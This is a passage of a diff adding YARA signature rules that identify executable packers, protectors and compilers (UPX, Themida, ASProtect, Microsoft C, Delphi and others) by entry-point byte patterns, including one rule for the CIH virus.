+		$0 = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_DLL_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.3.9 DLL (compressed resources)"
+	strings:
+		$0 = {50 68 ?? ?? ?? ?? 58 C1 C0 0F E9 ?? ?? ?? 00 87 04 24 58 89 45 FC E9 ?? ?? ?? FF FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 18 E9 ?? ?? ?? ?? 8B 55 08 09 42 F8 E9 ?? ?? ?? FF 83 7D F0 01 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 34 24 5E 8B 45 FC 33 D2 56 8B F2 E9 ?? ?? ?? 00 BA ?? ?? ?? ?? E8 ?? ?? ?? 00 A3 ?? ?? ?? ?? C3 E9 ?? ?? ?? 00 C3 83 C4 04 C3 E9 ?? ?? ?? FF 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 E8 ?? ?? ?? 00 E9 ?? ?? ?? FF C1 C2 03 81 CA ?? ?? ?? ?? 81 C2 ?? ?? ?? ?? 03 C2 5A E9 ?? ?? ?? FF 81 E7 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 81 C7 ?? ?? ?? ?? 89 07 E9 ?? ?? ?? ?? 0F 89 ?? ?? ?? ?? 87 14 24 5A 50 C1 C8 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid_10__ackanoid_
+{
+	meta:
+		description = "Packanoid 1.0 -> ackanoid"
+	strings:
+		$0 = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00}
+		$1 = {BF 00 ?? 40 00 BE ?? ?? ?? 00 E8 9D 00 00 00 B8 ?? ?? ?? 00 8B 30 8B 78 04 BB ?? ?? ?? 00 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08 5E EB DB B9 ?? ?? 00 00 BE 00 ?? ?? 00 EB 01 00 BF ?? ?? ?? 00 EB 21 00 ?? ?? 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 00 F3 A4 E9 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 00 C0 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pohernah_100__by_Kas_
+{
+	meta:
+		description = "Pohernah 1.0.0 - by Kas"
+	strings:
+		$0 = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28}
+		$1 = {58 60 E8 00 00 00 00 5D 81 ED 20 25 40 00 8B BD 86 25 40 00 8B 8D 8E 25 40 00 6B C0 05 83 F0 04 89 85 92 25 40 00 83 F9 00 74 2D 81 7F 1C AB 00 00 00 75 1E 8B 77 0C 03 B5 8A 25 40 00 31 C0 3B 47 10 74 0E 50 8B 85 92 25 40 00 30 06 58 40 46 EB ED 83 C7 28 49 EB CE 8B 85 82 25 40 00 89 44 24 1C 61 FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ThemidaWinLicense_V1X_NoCompression_SecureEngine__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.X NoCompression SecureEngine -> Oreans Technologies"
+	strings:
+		$0 = {8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? ?? ?? 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 4B 89 0A E8 D5 00 00 00 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Microsoft_C_19901992_
+{
+	meta:
+		description = "Microsoft C (1990/1992)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_25___h_
+{
+	meta:
+		description = "Thinstall 2.5 -> ??? (h)"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A7 1A 00 00 B9 6C 1A 00 00 BA 20 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD EC 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint
+}
+rule _Hardlock_dongle_Alladin_
+{
+	meta:
+		description = "Hardlock dongle (Alladin)"
+	strings:
+		$0 = {5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76}
+	condition:
+		$0 at entrypoint
+}
+rule _PGMPACK_v014_
+{
+	meta:
+		description = "PGMPACK v0.14"
+	strings:
+		$0 = {1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+	condition:
+		$0 at entrypoint
+}
+rule _PluginToExe_v102__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.02 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED 32 42 40 00 50 8F 85 DD 40 40 00 50 FF 95 11 42 40 00 89 85 D9 40 40 00 FF 95 0D 42 40 00 50 FF 95 21 42 40 00 80 38 00 74 16 8A 08 80 F9 22 75 07 50 FF 95 25 42 40 00 89 85 E1 40 40 00 EB 6C 6A 01 8F 85 DD 40 40 00 6A 58 6A 40 FF 95 15 42 40 00 89 85 D5 40 40 00 89 C7 68 00 08 00 00 6A 40 FF 95 15 42 40 00 89 47 1C C7 07 58 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_for_Windows_2_
+{
+	meta:
+		description = "Microsoft C for Windows (2)"
+	strings:
+		$0 = {8C D8 ?? 45 55 8B EC 1E 8E D8 57 56 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Cpp_19901992_
+{
+	meta:
+		description = "Microsoft C++ (1990/1992)"
+	strings:
+		$0 = {B8 00 30 CD 21 3C 03 73 ?? 0E 1F BA ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXScrambler_by_GurueXe_
+{
+	meta:
+		description = "UPX-Scrambler by Guru.eXe"
+	strings:
+		$0 = {66 C7 05 ?? ?? ?? ?? 75 07 E9 ?? FE FF FF 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 00 ?? ?? 00}
+	condition:
+		$0
+}
+rule _Upack_012_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.12 beta -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_32x_WinMain_
+{
+	meta:
+		description = "MinGW 3.2.x (WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D}
+	condition:
+		$0
+}
+rule _Vx_CIH_Version_12_TTIT__WIN95CIH__
+{
+	meta:
+		description = "Vx: CIH Version 1.2 TTIT (! WIN95CIH !)"
+	strings:
+		$0 = {55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1 -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_FORTRAN_Library_19_
+{
+	meta:
+		description = "MS FORTRAN Library 19??"
+	strings:
+		$0 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? 9A ?? ?? ?? ?? 9B DB E3 9B D9 2E ?? ?? 33 C9}
+		$1 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC B8 ?? ?? 8E C0 26 C7 ?? ?? ?? ?? ?? 26}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60_DLL_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 DLL (Debug)"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 ?? ?? 83}
+	condition:
+		$0
+}
+rule _North_Star_PE_Shrinker_13_by_Liuxingping_
+{
+	meta:
+		description = "North Star PE Shrinker 1.3 by Liuxingping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 73 ?? FF FF 8B 06 83 F8 00 74 11 8D B5 7F ?? FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 4F ?? FF FF 2B D0 89 95 4F ?? FF FF 01 95 67 ?? FF FF 8D B5 83 ?? FF FF 01}
+	condition:
+		$0
+}
+rule _Private_EXE_Protector_197__SetiSoft_h_
+{
+	meta:
+		description = "Private EXE Protector 1.9.7 -> SetiSoft (h)"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05}
+		$1 = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6}
+	condition:
+		$0 or $1
+}
+rule _Free_Pascal_v1010_win32_GUI_
+{
+	meta:
+		description = "Free Pascal v1.0.10 (win32 GUI)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5}
+	condition:
+		$0
+}
+rule _EXE_Shield_v01b__v03b_v03__SMoKE_
+{
+	meta:
+		description = "EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v60_KOL_
+{
+	meta:
+		description = "Borland Delphi v6.0 KOL"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF A1 ?? 72 40 00 33 D2 E8 ?? ?? FF FF A1 ?? 72 40 00 8B 00 83 C0 14 E8 ?? ?? FF FF E8 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v272_
+{
+	meta:
+		description = "EXE Stealth v2.72"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_273_
+{
+	meta:
+		description = "EXE Stealth 2.73"
+	strings:
+		$0 = {EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 EB 16 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 60 90 E8 00 00 00 00 5D 81 ED F0 27 40 00 B9 15 00 00 00 83 C1 05 EB 05 EB FE 83 C7 56 EB 00 83 E9 02}
+	condition:
+		$0
+}
+rule _SecureEXE_30__ZipWorx_
+{
+	meta:
+		description = "SecureEXE 3.0 -> ZipWorx"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v14__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.4 -> CGSoftLabs"
+	strings:
+		$0 = {65 58 50 72 2D 76 2E 31 2E 34 2E}
+	condition:
+		$0
+}
+rule _tElock_v098b1_
+{
+	meta:
+		description = "tElock v0.98b1"
+	strings:
+		$0 = {E9 25 E4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Elicense_System_V4000__ViaTech_Inc_
+{
+	meta:
+		description = "Elicense System V4.0.0.0 -> ViaTech Inc"
+	strings:
+		$0 = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+	condition:
+		$0
+}
+rule _UPX_v060__v061_
+{
+	meta:
+		description = "UPX v0.60 - v0.61"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Macromedia_Flash_Projector_60_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Macromedia Flash Projector 6.0]"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Inliner_v10_by_GPcH_
+{
+	meta:
+		description = "UPX Inliner v1.0 by GPcH"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D5 FE FF FF 8B 06 83 F8 00 74 11 8D B5 E1 FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 C7 06 01 00 00 00 8B D5 8B 85 B1 FE FF FF 2B D0 89 95 B1 FE FF FF 01 95 C9 FE FF FF 8D B5 E5 FE FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 05 FF FF FF 85 C0 0F 84 06 03 00 00 89 85 C5 FE FF FF E8 00 00 00 00 5B B9 31 89 40 00 81 E9 2E 86 40 00 03 D9 50 53 E8 3D 02 00 00 61 03 BD A9 FE FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 09 FF FF FF FF B5 05 FF FF FF 56 57 FF 95 C5 FE FF FF 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB CE 68 00 80 00 00 6A 00 FF B5 C5 FE FF FF FF 95 09 FF FF FF 8D}
+	condition:
+		$0
+}
+rule _Upack_v030_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.30 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 30}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_30__North_Star_
+{
+	meta:
+		description = "NsPack 3.0 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 00 74 15 8B F5 8D B5 ?? ?? FF FF 66 8B 06 66 83 F8 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36}
+	condition:
+		$0 at entrypoint
+}
+rule _codeCrypter_031__Tibbar_
+{
+	meta:
+		description = "codeCrypter 0.31 -> Tibbar"
+	strings:
+		$0 = {50 58 53 5B 90 BB ?? ?? ?? 00 FF E3 90 CC CC CC 55 8B EC 5D C3 CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2021__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.0/2.1 -> www.strongbit.com"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 56 57 53 BE ?? ?? ?? ?? B8 00 00 ?? ?? 89 45 FC 89 C2 8B 46 0C 09 C0 0F 84 ?? 00 00 00 01 D0 89 C3 50 FF 15 94 ?? ?? ?? 09 C0 0F 85 0F 00 00 00 53 FF 15 98 ?? ?? ?? 09 C0 0F 84 ?? 00 00 00 89 45 F8 6A 00 8F 45 F4 8B 06 09 C0 8B 55 FC 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _BookManager_v9510_
+{
+	meta:
+		description = "BookManager v9510"
+	strings:
+		$0 = {FC A3 ?? ?? 89 1E ?? ?? 49 89 0E ?? ?? BB ?? ?? 8C 1F 83 ?? ?? 89 ?? ?? B8 ?? ?? 50 89 ?? ?? F7 D0 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Stealth_PE_v11_
+{
+	meta:
+		description = "Stealth PE v1.1"
+	strings:
+		$0 = {BA ?? ?? ?? 00 FF E2 BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 03 B8 ?? ?? ?? ?? 89 02 83 C2 FD FF E2}
+	condition:
+		$0 at entrypoint
+}
+rule _FixupPak_120_
+{
+	meta:
+		description = "FixupPak 1.20"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+	condition:
+		$0
+}
+rule _BeRoEXEPacker_v100_DLL__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+		$1 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+		$2 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ASProtect_123_RC4_build_0807_exe__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect 1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Obsidium_V130X__Obsidium_Software__Sign_by_fly_
+{
+	meta:
+		description = "Obsidium V1.3.0.X -> Obsidium Software ! Sign by fly"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B ?? ?? ?? EB 04 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_16_by_Vaska_Damrai_sign_20032007_2041_
+{
+	meta:
+		description = "RCryptor 1.6 by Vaska (Damrai sign 20.03.2007 20:41)"
+	strings:
+		$0 = {33 D0 68 40 A1 14 13 FF D2 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 BB 40 EB F3 33 C0 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_JDPack_1x__JDProtect_09_
+{
+	meta:
+		description = "PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9]"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _eXcalibur_v103__forgotus_h_
+{
+	meta:
+		description = "eXcalibur v1.03 -> forgot/us (h)"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20}
+		$1 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 EB 39 20 45 78 63 61 6C 69 62 75 72 20 28 63 29 20 62 79 20 66 6F 72 67 6F 74 2F 75 53 2F 44 46 43 47 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A 60 9C 9C 6A 63 73 0B EB 02 E8 E8 E8 06 00 00 00 E8 E8 73 F7 E8 E8 83 C4 04 EB 02 E8 E8 FF 0C 24 71 01 E8 79 E0 7A 01 E8 83 C4 04 9D EB 01 E8 E8 01 00 00 00 E9 5D 81 ED AE 28 40 00 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 E7 02 00 00 E8 9C 6A 63 73 0B EB 02 69 69 E8 06 00 00 00 69 69 73 F7 69 69 83 C4 04 EB 02 69 69 FF 0C 24 71 01 69 79 E0 7A 01 69 83 C4 04 9D EB 01 69 E8 B4 02 00 00 E8 60 E8}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _ST_Protector_V15__Silent_Software_
+{
+	meta:
+		description = "ST Protector V1.5 -> Silent Software"
+	strings:
+		$0 = {00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00}
+	condition:
+		$0
+}
+rule _Upack_v039_final__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.39 final -> Sign by hot_UNP"
+	strings:
+		$0 = {56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91}
+		$1 = {FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF}
+	condition:
+		$0 or $1
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Basic__MASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)"
+	strings:
+		$0 = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_226_DLL_minimum_protection_
+{
+	meta:
+		description = "EXECryptor 2.2.6 DLL (minimum protection)"
+	strings:
